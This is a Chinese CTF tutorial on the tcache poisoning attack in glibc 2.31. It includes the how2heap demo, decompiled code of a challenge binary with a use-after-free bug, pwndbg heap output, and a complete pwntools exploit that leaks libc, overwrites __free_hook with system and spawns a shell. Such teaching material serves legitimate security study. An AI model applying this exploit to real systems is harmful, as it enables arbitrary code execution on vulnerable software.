tcache-poisoning攻击
tcache由于省略了很多安全保护机制,所以在pwn中的利用方式有很多,这篇文章我们首先介绍tcache poisoning
这种利用方式。
tcache poisoning主要的利用手段是覆盖tcache中的next成员变量,由于tcache_get()函数没有对next进行检查,所以理论上来讲如果我们将next中的地址进行替换,不需要伪造任何chunk结构即可实现malloc到任何地址,算是tcache attack中比较简单的一种攻击方式。
how2heap中的tcache(glibc-2.31)
我们直接看c代码和运行的结果
#how2heap中的c代码
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>
int main()
{
// disable buffering
setbuf(stdin, NULL);
setbuf(stdout, NULL);
printf("This file demonstrates a simple tcache poisoning attack by tricking malloc into\n"
"returning a pointer to an arbitrary location (in this case, the stack).\n"
"The attack is very similar to fastbin corruption attack.\n");
printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n"
"We have to create and free one more chunk for padding before fd pointer hijacking.\n\n");
size_t stack_var;
printf("The address we want malloc() to return is %p.\n", (char *)&stack_var);
printf("Allocating 2 buffers.\n");
intptr_t *a = malloc(128);
printf("malloc(128): %p\n", a);
intptr_t *b = malloc(128);
printf("malloc(128): %p\n", b);
printf("Freeing the buffers...\n");
free(a);
free(b);
printf("Now the tcache list has [ %p -> %p ].\n", b, a);
printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
"to point to the location to control (%p).\n", sizeof(intptr_t), b, &stack_var);
b[0] = (intptr_t)&stack_var;
printf("Now the tcache list has [ %p -> %p ].\n", b, &stack_var);
printf("1st malloc(128): %p\n", malloc(128));
printf("Now the tcache list has [ %p ].\n", &stack_var);
intptr_t *c = malloc(128);
printf("2nd malloc(128): %p\n", c);
printf("We got the control\n");
assert((long)&stack_var == (long)c);
return 0;
}
我们再来看看编译之后的运行结果
This file demonstrates a simple tcache poisoning attack by tricking malloc into
returning a pointer to an arbitrary location (in this case, the stack).
The attack is very similar to fastbin corruption attack.
After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,
We have to create and free one more chunk for padding before fd pointer hijacking.
The address we want malloc() to return is 0x7ffe77518a80.
Allocating 2 buffers.
malloc(128): 0xcf02a0
malloc(128): 0xcf0330
Freeing the buffers...
Now the tcache list has [ 0xcf0330 -> 0xcf02a0 ].
We overwrite the first 8 bytes (fd/next pointer) of the data at 0xcf0330
to point to the location to control (0x7ffe77518a80).
Now the tcache list has [ 0xcf0330 -> 0x7ffe77518a80 ].
1st malloc(128): 0xcf0330
Now the tcache list has [ 0x7ffe77518a80 ].
2nd malloc(128): 0x7ffe77518a80
We got the control
大概的意思就是,再tcache的获取,也就是tcahce_get的过程中,glibc没有对tcache_bin->fd(next)进行检查,如果我们可以修改tcache_bin链表中的指向A的fd指针为指向target_addr,我们就可以获得target_addr的控制权
例题分析
主函数:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
initial(argc, argv, envp);
while ( 1 )
{
menu();
memset(s, 0, sizeof(s));
read(0, s, 2uLL);
switch ( atoi(s) )
{
case 1:
create();
break;
case 2:
delete();
break;
case 3:
edit();
break;
case 4:
show();
break;
case 5:
exit(0);
default:
continue;
}
}
}
add:
unsigned __int64 create()
{
int i; // [rsp+8h] [rbp-18h]
int v2; // [rsp+Ch] [rbp-14h]
char s[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
for ( i = 0; i <= 15 && vec[i]; ++i )
;
if ( i == 16 )
{
puts("FULL");
exit(1);
}
puts("size: ");
memset(s, 0, sizeof(s));
read(0, s, 8uLL);
v2 = atoi(s);
if ( v2 <= 64 || v2 > 4096 )
{
puts("size err");
exit(1);
}
vec[i] = malloc(v2);
if ( !vec[i] )
{
puts("create err");
exit(1);
}
return __readfsqword(0x28u) ^ v4;
}
delete:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
initial(argc, argv, envp);
while ( 1 )
{
menu();
memset(s, 0, sizeof(s));
read(0, s, 2uLL);
switch ( atoi(s) )
{
case 1:
create();
break;
case 2:
delete();
break;
case 3:
edit();
break;
case 4:
show();
break;
case 5:
exit(0);
default:
continue;
}
}
}
edit:
unsigned __int64 edit()
{
unsigned int v1; // [rsp+Ch] [rbp-14h]
char s[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("idx: ");
memset(s, 0, sizeof(s));
read(0, s, 3uLL);
v1 = atoi(s);
if ( v1 >= 0x10 )
{
puts("out");
exit(1);
}
if ( vec[v1] )
{
puts("msg: ");
read(0, (void *)vec[v1], 0x40uLL);
}
return __readfsqword(0x28u) ^ v3;
}
show:
unsigned __int64 show()
{
unsigned int v1; // [rsp+Ch] [rbp-14h]
char s[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("idx: ");
memset(s, 0, sizeof(s));
read(0, s, 3uLL);
v1 = atoi(s);
if ( v1 >= 0x10 )
{
puts("out");
exit(1);
}
if ( vec[v1] )
{
puts("msg: ");
write(1, (const void *)vec[v1], 0x40uLL);
}
return __readfsqword(0x28u) ^ v3;
}
程序中增删查改四个功能都有,存在uaf漏洞,而且可以申请到0x40-0x1000大小的chunk,我们便可以利用tcache-poisoning这种攻击方式
利用思路:
- 申请一个unsortedbin大小的一个chunk,free之后利用uaf漏洞去泄露libc基址
- 申请多个tcachebin大小的chunk,free两个之后修改链表尾部chunk的fd指针,指向我们需要控制的地方,比如free_hook
- 修改free_hook为system或者one_gadget来getshell
利用过程:
利用思路一:
add(0x438)
add(0x50)
add(0x50)
add(0x50)
dele(0)
show(0)
libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x1ecbe0
print(hex(libc_base))
free_hook=libc_base+libc.sym['__free_hook']
system=libc_base+libc.sym['system']
tcachebin会把0x410以内大小的bin放到tcachebin的链表中
所以我们申请一个0x438大小的chunk,free之后会先进入到unsorted bin中,后续的几个chunk是为了隔绝topchunk以及开展tcache-poisoning攻击
我们gdb看看
pwndbg> heap
pwndbg will try to resolve the heap symbols via heuristic now since we cannot resolve the heap via the debug symbols.
This might not work in all cases. Use `help set resolve-heap-via-heuristic` for more details.
Allocated chunk | PREV_INUSE
Addr: 0x55cf3399b000
Size: 0x290 (with flag bits: 0x291)
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x55cf3399b290
Size: 0x440 (with flag bits: 0x441)
fd: 0x7f36524d6be0
bk: 0x7f36524d6be0
Allocated chunk
Addr: 0x55cf3399b6d0
Size: 0x60 (with flag bits: 0x60)
Allocated chunk | PREV_INUSE
Addr: 0x55cf3399b730
Size: 0x60 (with flag bits: 0x61)
Allocated chunk | PREV_INUSE
Addr: 0x55cf3399b790
Size: 0x60 (with flag bits: 0x61)
Top chunk | PREV_INUSE
Addr: 0x55cf3399b7f0
Size: 0x20810 (with flag bits: 0x20811)
可以看到unsortedbin的fd和bk指针都指向了main_arena附近的地址,这个地址相对于libc基址的偏移是固定的
利用unsortedbin来泄露libc也是堆题的常用手法之一
利用思路二:
dele(1)
dele(2)
dbg()
edit(2,p64(free_hook))
add(0x50)
add(0x50)
我们先来看看dele chunk1和chunk2之后,tcachebin的链表有什么内容
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55d3588c3000
Size: 0x290 (with flag bits: 0x291)
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x55d3588c3290
Size: 0x440 (with flag bits: 0x441)
fd: 0x7f003c708be0
bk: 0x7f003c708be0
Free chunk (tcachebins)
Addr: 0x55d3588c36d0
Size: 0x60 (with flag bits: 0x60)
fd: 0x00
Free chunk (tcachebins) | PREV_INUSE
Addr: 0x55d3588c3730
Size: 0x60 (with flag bits: 0x61)
fd: 0x55d3588c36e0
Allocated chunk | PREV_INUSE
Addr: 0x55d3588c3790
Size: 0x60 (with flag bits: 0x61)
Top chunk | PREV_INUSE
Addr: 0x55d3588c37f0
Size: 0x20810 (with flag bits: 0x20811)
pwndbg> bin
tcachebins
0x60 [ 2]: 0x55d3588c3740 —▸ 0x55d3588c36e0 ◂— 0x0
fastbins
empty
unsortedbin
all: 0x55d3588c3290 —▸ 0x7f003c708be0 ◂— 0x55d3588c3290
smallbins
empty
largebins
empty
pwndbg>
可以看到,后释放的chunk2的fd指针指向了先释放的chunk1+0x10处,链表处也产生了相应的变化
我们再看看把chunk2的fd指针改成__free_hook试试看
pwndbg> bin
tcachebins
0x60 [ 2]: 0x556bb7836740 —▸ 0x7fb2a0190e48 (__free_hook) ◂— 0x0
fastbins
empty
unsortedbin
all: 0x556bb7836290 —▸ 0x7fb2a018ebe0 ◂— 0x556bb7836290
smallbins
empty
largebins
empty
pwndbg>
链表确实是指向了我们想要控制的__free_hook处
我们add一个0x50大小的chunk试试
pwndbg> bin
pwndbg will try to resolve the heap symbols via heuristic now since we cannot resolve the heap via the debug symbols.
This might not work in all cases. Use `help set resolve-heap-via-heuristic` for more details.
tcachebins
0x60 [ 1]: 0x7fe1cfad7e48 (__free_hook) ◂— 0x0
fastbins
empty
unsortedbin
all: 0x55cfe8252290 —▸ 0x7fe1cfad5be0 ◂— 0x55cfe8252290
smallbins
empty
largebins
empty
pwndbg>
tcachebin的链表里面只有__free_hook一项内容,我们再add一个0x50大小的chunk,并尝试修改内容为aaaa
tcachebins
empty
fastbins
empty
unsortedbin
all: 0x55d4e3647290 —▸ 0x7fb5208dbbe0 ◂— 0x55d4e3647290
smallbins
empty
largebins
empty
pwndbg>
链表内已经空了
pwndbg> p &__free_hook
$1 = (<data variable, no debug info> *) 0x7fb5208dde48 <__free_hook>
pwndbg> tele 0x7fb5208dde48
00:0000│ 0x7fb5208dde48 (__free_hook) ◂— 0x61616161 /* 'aaaa' */
01:0008│ 0x7fb5208dde50 (__malloc_initialize_hook) ◂— 0x0
... ↓ 6 skipped
pwndbg>
而__free_hook处的内容已经被我们修改为了aaaa
tcache-poisoning攻击成功,接下来只需要把_free_hook处的内容改为system或者one_gadget即可
exp
from pwn import *
p=process('./pwn')
libc=ELF('./libc-2.31.so')
elf=ELF('./pwn')
def menu(idx):
p.sendafter("choice > ",str(idx))
def add(size):
menu(1)
p.sendafter("size: ",str(size))
def dele(idx):
menu(2)
p.sendafter("idx: ",str(idx))
def edit(idx,content):
menu(3)
p.sendafter("idx: ",str(idx))
p.sendafter("msg: ",content)
def show(idx):
menu(4)
p.sendafter("idx: ",str(idx))
def dbg():
gdb.attach(p)
pause()
add(0x438)
add(0x50)
add(0x50)
add(0x50)
dele(0)
show(0)
libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-0x1ecbe0
print(hex(libc_base))
free_hook=libc_base+libc.sym['__free_hook']
system=libc_base+libc.sym['system']
print(hex(free_hook))
og=[0xe3afe,0xe3b01,0xe3b04]
ogs=libc_base+og[0]
dele(1)
dele(2)
edit(2,p64(free_hook))
add(0x50)
add(0x50)
edit(5,p64(system))
edit(1,b'/bin/sh\x00')
dele(1)
p.send("cat flag")
p.interactive()
总结
tcache-poisoning是比较简单的一种攻击方式,和低版本的攻击差不多,但是学习之后可以对tcache的获取,释放等机制有更多的了解